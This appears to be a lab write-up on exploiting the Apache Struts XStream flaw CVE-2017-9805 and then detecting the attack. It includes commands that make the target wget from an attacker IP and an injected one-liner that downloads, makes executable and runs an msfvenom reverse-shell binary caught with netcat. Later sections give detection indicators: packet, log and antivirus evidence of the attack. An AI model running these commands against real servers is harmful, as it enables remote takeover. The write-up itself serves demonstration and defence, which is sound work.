CVE-2017-9805 is yet another very legitimate vulnerability in the Apache Struts framework. In the video, I demonstrate how easy it is to run a simple public python script against a vulnerable remote server, ultimately resulting in a reverse shell back to the attacker. In this post, I will cover all the steps shown in the video but I am also going to cover the steps needed to create a vulnerable server and touch on a some basic indicators for detecting this type of activity in your own environment.
If you are running a vulnerable version of this software (Apache Struts 2.5 < 2.5.12), you should definitely upgrade as soon as possible – this is a very real threat. As with any Apache Struts vulnerability that allows for RCE, I would expect a high volume of attackers actively scanning for and exploiting this vulnerability in the wild and this activity will likely continue for a some time.
Vulnerable Struts Package:
http://archive.apache.org/dist/struts/2.5/
Exploit:
https://www.exploit-db.com/exploits/42627/
Building a Vulnerable Server
For my target/vulnerable Struts server, I used Ubuntu 16.04.2 for the base image and then installed Tomcat 8 and Java 1.8. After that the only other thing needed to create a vulnerable server is to deploy the vulnerable struts2-rest-showcase application.
-
Install Tomcat 8:
# apt-get install tomcat8 tomcat8-admin -
Now open the configuration file to add an admin user to Tomcat:
# nano /etc/tomcat8/tomcat-users.xml -
Add the following line between the <tomcat-users> tags:
<tomcat-users>
<user username=”admin” password=”P@$$w0rd” roles=”manager-gui,admin-gui”/>
</tomcat-users> -
Restart Tomcat:
# systemctl restart tomcat8 -
Download the Apache Struts Package, do this step on another machine with a GUI as we will need to upload these files via browser later:
http://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip -
Log into the Tomcat Manager:
http://<IP_OF_TOMCAT_SERVER>:8080/manager/html -
Deploy the struts2-rest-showcase.war (found in the apps folder of the struts-2.5-all.zip) via the Tomcat Manager.
Under Applications > Path, you should now see /struts2-rest-showcase – click there and you should then be redirected to the vulnerable struts application:
The server should now be ready.
Testing and Exploiting the Vulnerability
For reference sake, let’s assume the following about the lab environment:
IP | Role | Notes |
192.168.2.79 | Attacker | Kali machine |
192.168.2.211 | Target | Ubuntu machine running Apache Struts |
-
Using the python script from exploit-db to target the struts application at the following URL, lets try to have the target wget a file from the attacker machine:
# python 42627.py http://192.168.2.211:8080/struts2-rest-showcase/orders/3 “wget http://192.168.2.79/fake.php”To test without running a web server like Apache on the local attacker machine, simply catch the wget by setting up a netcat listener on port 80:
# nc -nvlp 80The file fake.php doesn’t have to exist, we’re just looking to see if the target runs the command, making the request back to the attacker machine and we see that it does:
-
Now that we know the server will run commands for us, lets take things a step further and get a reverse shell.
Using MSFVenom, create a basic reverse shell that will connect back to the attacker over 443 and save it locally on the attacking machine in Apache’s root directory:
# msfvenom -p linux/x86/shell_reverse_tcp -f elf LHOST=192.168.2.79 LPORT=443 -o /var/www/html/rev_shellNote: Make sure to start Apache at this point if it is not already running.
-
Now we are going to use the python exploit to run a series of commands in one big injection. This part has to be done in one request, the commands can not be entered one at a time. Also, this is still entirely blind and no output will be visible from the commands, so there will be some trial and error. In order to get the reverse shell on the target server and running, this one liner will need to do the following:
- CD to a directory that is writable by tomcat – I am going to use /dev/shm
- Wget the reverse shell executable from our attacking machine to the writable directory
- Chmod the file to make it executable
- Run the executable
First, get a netcat listener ready on the attacking machine to catch reverse shell that is about to be connecting back:
# nc -nvlp 443Now run the python exploit with the new commands from the attacking machine:
# python 42627.py http://192.168.2.211:8080/struts2-rest-showcase/orders/3 “cd /dev/shm && wget http://192.168.2.79/rev_shell && chmod +x rev_shell && ./rev_shell”Note: The &&’s have to be XML encoded or they will not be parsed correctly and the injection will not run as expected.
We should now have a reverse shell running as the tomcat user. While this user is not privileged, it does have access to plenty of interesting files on the local file system and can also potentially be leveraged for privilege escalation.
Additional Analysis and Indicators
On the network
I have a pcap sample of a successful exploit attempt that can be downloaded here:
Apache-Struts-CVE-2017-9805-Successful-Wget.zip
When reviewing the packet captures, you should see something similar to the following when this exploit is being ran against a target. This was a successful attempt –
Request:
POST /struts2-rest-showcase/orders/3 HTTP/1.1 Host: 192.168.2.211:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0 Content-Type: application/xml Content-Length: 1897
Response:
HTTP/1.1 500 Internal Server Error Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Transfer-Encoding: chunked Date: Wed, 13 Sep 2017 09:49:29 GMT Connection: close 2000Apache Tomcat/8.0.32 (Ubuntu) - Error report HTTP Status 500 - java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service
type Exception report
message java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service
description The server encountered an internal error that prevented it from fulfilling this request.
exception
com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service : java.lang.String cannot be cast to java.security.Provider$Service ---- Debugging information ---- message : java.lang.String cannot be cast to java.security.Provider$Service cause-exception : java.lang.ClassCastException cause-message : java.lang.String cannot be cast to java.security.Provider$Service class : java.util.HashMap required-type : java.util.HashMap converter-type : com.thoughtworks.xstream.converters.collections.MapConverter path : /map/entry line number : 49 version : 1.4.8 ------------------------------- com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79) com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65) com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206) com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190) com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120) org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45) org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:64) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:188) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:91) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:244) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.ProfilingActivationInterceptor.intercept(ProfilingActivationInterceptor.java:104) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:252) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:130) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.MessageStoreInterceptor.intercept(MessageStoreInterceptor.java:207) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:164) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:193) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:154) org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:556) org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81) org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter 1dfd .java:113)root cause
java.lang.ClassCastException: java.lang.String cannot be cast to java.security.Provider$Service javax.crypto.Cipher.chooseFirstProvider(Cipher.java:746) javax.crypto.Cipher.update(Cipher.java:1828) javax.crypto.CipherInputStream.getMoreData(CipherInputStream.java:132) javax.crypto.CipherInputStream.read(CipherInputStream.java:239) com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx.readFrom(ByteArrayOutputStreamEx.java:65) com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.get(Base64Data.java:182) com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data.toString(Base64Data.java:286) jdk.nashorn.internal.objects.NativeString.getStringValue(NativeString.java:121) jdk.nashorn.internal.objects.NativeString.hashCode(NativeString.java:117) java.util.HashMap.hash(HashMap.java:338) java.util.HashMap.put(HashMap.java:611) com.thoughtworks.xstream.converters.collections.MapConverter.putCurrentEntryIntoMap(MapConverter.java:113) com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:98) com.thoughtworks.xstream.converters.collections.MapConverter.populateMap(MapConverter.java:92) com.thoughtworks.xstream.converters.collections.MapConverter.unmarshal(MapConverter.java:87) com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72) com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65) com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66) com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50) com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134) com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32) com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1206) com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1190) com.thoughtworks.xstream.XStream.fromXML(XStream.java:1120) org.apache.struts2.rest.handler.XStreamHandler.toObject(XStreamHandler.java:45) org.apache.struts2.rest.ContentTypeInterceptor.intercept(ContentTypeInterceptor.java:64) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:188) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.CheckboxInterceptor.intercept(CheckboxInterceptor.java:91) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.FileUploadInterceptor.intercept(FileUploadInterceptor.java:244) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ModelDrivenInterceptor.intercept(ModelDrivenInterceptor.java:99) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ScopedModelDrivenInterceptor.intercept(ScopedModelDrivenInterceptor.java:139) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ParametersInterceptor.doIntercept(ParametersInterceptor.java:133) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.ProfilingActivationInterceptor.intercept(ProfilingActivationInterceptor.java:104) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.debugging.DebuggingInterceptor.intercept(DebuggingInterceptor.java:252) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ChainingInterceptor.intercept(ChainingInterceptor.java:155) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.I18nInterceptor.intercept(I18nInterceptor.java:130) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.PrepareInterceptor.doIntercept(PrepareInterceptor.java:174) com.opensymphony.xwork2.interceptor.MethodFilterInterceptor.intercept(MethodFilterInterceptor.java:97) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.MessageStoreInterceptor.intercept(MessageStoreInterceptor.java:207) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) org.apache.struts2.interceptor.ServletConfigInterceptor.intercept(ServletConfigInterceptor.java:164) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.AliasInterceptor.intercept(AliasInterceptor.java:193) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.interceptor.ExceptionMappingInterceptor.intercept(ExceptionMappingInterceptor.java:193) com.opensymphony.xwork2.DefaultActionInvocation.invoke(DefaultActionInvocation.java:240) org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:135) com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:154) org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:556) org.apache.struts2.dispatcher.ExecuteOperations.executeAction(ExecuteOperations.java:81) org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:113)note The full stack trace of the root cause is available in the Apache Tomcat/8.0.32 (Ubuntu) logs.
Apache Tomcat/8.0.32 (Ubuntu)
0
Tomcat Logs
In the Tomcat logs you will see that this attack is a POST request and with this particular application it returns a HTTP 500 status whether the attack was successful or not:
192.168.2.79 – – [13/Sep/2017:00:33:07 -0500] “POST /struts2-rest-showcase/orders/3 HTTP/1.1” 500 15890
Symantec Endpoint Protection
I have Symantec Endpoint Protection on a Windows machine that is running IIS/ARR acting as reverse proxy/load balancer, and while I was testing this exploit I realized it was actually blocking my attempts and aborting the connections. I was honestly surprised it caught this and Snort did not (no signature for it yet), so I figured I would include it here. This activity was logged in the Windows Application logs as a Warning with an Event ID 400 from the source Symantec Network Protection along with the following message:
[SID: 30278] Attack: Apache Struts CVE 2017 9805 2 attack blocked. Traffic has been blocked for this application: SYSTEM
Final Thoughts
From an administrator’s perspective, this is a vulnerability that should be taken seriously and be patched as soon as possible, otherwise it is only a matter of time. Even if you are not running this software it is worth blocking any traffic that flags a signature for this attack at the perimeter. There will likely be a high volume attackers attempting this exploit and there is no sense on wasting server resources processing these malicious requests.
From an attacker’s perspective, patching this vulnerability is not as simple as running Windows Update or just installing a patch. It is going to take some time for companies and application owners to first identify where this software is running within their environment and what applications are utilizing it. Next they will need to patch, compile and test the updated applications before moving to production. As you can imagine this is going to take some time and resources to complete.